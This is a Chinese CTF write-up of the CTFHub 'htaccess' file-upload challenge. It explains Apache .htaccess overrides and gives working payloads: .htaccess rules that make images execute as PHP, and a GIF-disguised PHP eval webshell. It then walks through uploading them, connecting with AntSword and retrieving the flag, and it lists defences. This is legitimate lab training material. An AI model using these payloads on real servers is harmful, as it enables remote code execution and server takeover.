目录
本文详细解析了CTFHub文件上传"htaccess"关卡的绕过技术的原理与实战应用。htaccess作为Apache服务器的分布式配置文件,允许目录级配置覆盖,攻击者可借此绕过安全限制。文章演示了攻击流程:先上传.htaccess文件强制将图片解析为PHP,再上传伪装成GIF的WebShell。通过蚁剑连接后成功获取flag。防御关键在于严格限制上传目录权限和禁用.htaccess功能。该技术展示了配置文件在渗透测试中的重要作用及相应的防护措施。
一、htaccess
1、基本概念
-
全称:Hypertext Access(超文本访问)
-
本质:是一个纯文本配置文件。
-
作用:用于针对特定目录改变Apache Web服务器的配置。
-
核心思想:分布式配置管理。它允许你为每个目录及其所有子目录设置不同的规则,而无需修改全局的主服务器配置文件(通常是
httpd.conf)。
2、核心工作原理:逐级覆盖
.htaccess 的工作原理的核心是 “逐级查找与覆盖”。
-
接收请求:当Apache服务器收到一个对某个URL的请求(例如
http://example.com/images/pic.jpg)时,它会确定该请求对应的物理文件路径(例如/var/www/html/images/pic.jpg)。 -
逆向查找:服务器会从请求文件的所在目录开始,向上逐级回溯到网站根目录,寻找每一级目录中是否存在
.htaccess文件。-
查找顺序:
/var/www/html/images/pic.jpg→ 检查/var/www/html/images/目录 -
如果没有,继续向上 → 检查
/var/www/html/目录(网站根目录) -
依此类推,直到找到或到达文件系统根。
-
-
读取与合并:所有被找到的
.htaccess文件都会被读取和执行。更底层(更靠近具体文件)的目录中的.htaccess配置会覆盖更上层目录中的相同配置。 -
即时生效:与主配置文件
httpd.conf需要重启Apache才能生效不同,.htaccess 文件的修改是立即生效的。因为Apache会在每次请求时(如果配置允许)去读取这些文件。
3、与 httpd.conf 的关系
-
主从关系:主配置文件
httpd.conf是全局的、顶层的配置。.htaccess是局部的、分布式的配置。-
启用与否:.htaccess功能必须先在
httpd.conf中被允许,通过AllowOverride指令控制。-
AllowOverride None:服务器完全忽略.htaccess文件。 -
AllowOverride All:允许使用.htaccess中的所有指令。 -
AllowOverride AuthConfig Indexes:只允许使用认证类和目录索引类指令。
-
-
4、htaccess在文件上传攻击中应用
通常,服务器会根据文件的扩展名(如 .php, .jpg)来决定如何处理它。.php 文件会被 PHP 引擎执行,而 .jpg 文件则被当作静态图片直接发送给浏览器。攻击者的思路是:如果我无法直接上传一个 .php 文件(因为被黑名单过滤),那我就上传一个配置文件,命令服务器:“从此以后,把这个目录里所有的 .jpg 文件都当作 .php 文件来解析!”这个“配置文件”就是 .htaccess。攻击步骤如下所示。
(1)创建.htaccess文件
攻击者会创建一个文本文件,并将其命名为 .htaccess。文件内容通常包含以下两种指令之一:
-
方法A:使用
SetHandler(针对特定文件类型)# 命令服务器将所有 .jpg 文件视为 PHP 程序执行 <FilesMatch "\.(jpg|jpeg|png|gif)$"> SetHandler application/x-httpd-php </FilesMatch>-
FilesMatch "\.(jpg|jpeg|png|gif)$":这是一个正则表达式,匹配所有以.jpg,.jpeg,.png,.gif结尾的文件。 -
SetHandler application/x-httpd-php:为匹配到的文件设置处理器为 PHP 解析器。
-
-
方法B:使用
AddType(添加新的 MIME 类型映射)# 直接重新定义 .jpg 扩展名的 MIME 类型,使其等同于 .php AddType application/x-httpd-php .jpg .png .gif
(2)上传恶意文件
-
攻击者首先尝试上传恶意的
.htaccess文件。 -
如果上传成功,接下来他会上传一个包含WebShell代码的图片文件,例如
shell.jpg。这个文件的内容看起来像这样:GIF89a; // 图片的文件头,用于欺骗简单的文件内容检查 <?php @eval($_POST['cmd']); ?> // 真正的一句话木马代码
(3)触发攻击
-
攻击者访问他上传的“图片”文件:
http://target.com/uploads/shell.jpg -
服务器收到请求后,会先读取
uploads目录下的.htaccess文件。 -
.htaccess规则生效,服务器不再将shell.jpg视为图片,而是将其交给 PHP 引擎去解析。 -
PHP 引擎会成功解析
<?php ... ?>标签内的代码。 -
WebShell 被激活,攻击者就可以通过
cmd参数执行任意系统命令,完全控制服务器。
5、防御核心
.htaccess 文件上传攻击是一种权限提升攻击。攻击者通过上传一个配置文件,局部地修改了服务器的行为,将无害的静态文件“变”成了危险的动态脚本。防御的核心在于:
-
前端:对上传文件进行白名单验证和重命名。
-
后端(根本):在服务器配置中,严格限制上传目录的权限,使用
AllowOverride None和php_admin_flag engine off两条指令,从根源上使其失效。
二、渗透实战
1、打开靶场
打开关卡如下所示,提示信息为“htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能”,提示本关卡可以利用htaccess进行文件上传绕过。

点击打开题目,此时系统自动创建Docker环境,下图蓝色部分的URL地址就是靶场环境。

复制靶场链接(challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800)到浏览器的地址栏中并访问。
http://challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800

2、构造脚本
(1)构造PHP脚本
新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这段GIF89a文件头后嵌入PHP代码的文本,是一个伪装成GIF图片的WebShell后门。它利用图片文件头“GIF89a”绕过安全检查,当服务器被配置为将.gif文件解析为PHP时(如通过.htaccess设置),该文件就会被执行。其中的eval($_POST['ljn'])函数允许攻击者通过POST请求执行任意PHP代码,从而完全控制服务器,构成严重的安全威胁。
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>
GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61 ,对应 ASCII 字符就是 GIF89a 。右键16进制编辑,如下所示,mooyuan.php的文件头内容符合gif格式的文件头标识。

(2)构造htaccess文件
构建.htaccess文件,这段代码强制将 mooyuan.gif 文件作为 PHP 脚本解析,用于隐藏恶意代码。
<FilesMatch "mooyuan.gif">
SetHandler application/x-httpd-php
</FilesMatch>
注意:.htaccess文件默认被隐藏,需勾选Show Hidden Files使其可见。

3、直接上传脚本文件
(1)上传.htaccess
将构造好的.htaccess文件直接上传,如下所示上传成功。


(2)上传mooyuan.gif
将构造好的mooyuan.gif文件直接上传,如下所示上传成功。


4、访问木马
构造木马的URL,具体如下所示。
靶场路径为http://challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800/
上传的mooyuan.gif的路径为upload/mooyuan.gif的拼接,
将两者拼接即构造脚本的URL地址:
http://challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800/upload/mooyuan.gif
访问木马mooyuan.gif脚本,POST Data设置为ljn=phpinfo();点击Execute,出现php信息页面。

5、连接蚁剑
配置并连接蚁剑,具体步骤和URL脚本地址、密码、和连接效果如下所示。
-
打开蚁剑,右键选择"添加数据"。
-
"URL"地址中填写上传木马文件的完整路径。
-
在"连接密码"中填写WebShell中定义的密码(本文中为
ljn)。 -
其他设置可保持默认,点击"测试连接"。提示成功后,点击添加数据。
URL地址:http://challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800/upload/mooyuan.gif
密码ljn

点击添加后效果如下所示,接下来我们需要进入文件系统中寻找flag文件,通常情况下flag文件常位于网站的根目录(如/var/www/html)。

在蚁剑中双击新添加的连接或追右键点击文件管理,进入靶场的文件系统中。F

6、获取flag
在/var/www/html文件夹(也就是网址的根目录)中找到了flag文件,如下所示。

成功获取flag:ctfhub{7186b35b2731feef8beb2471}。

1万+






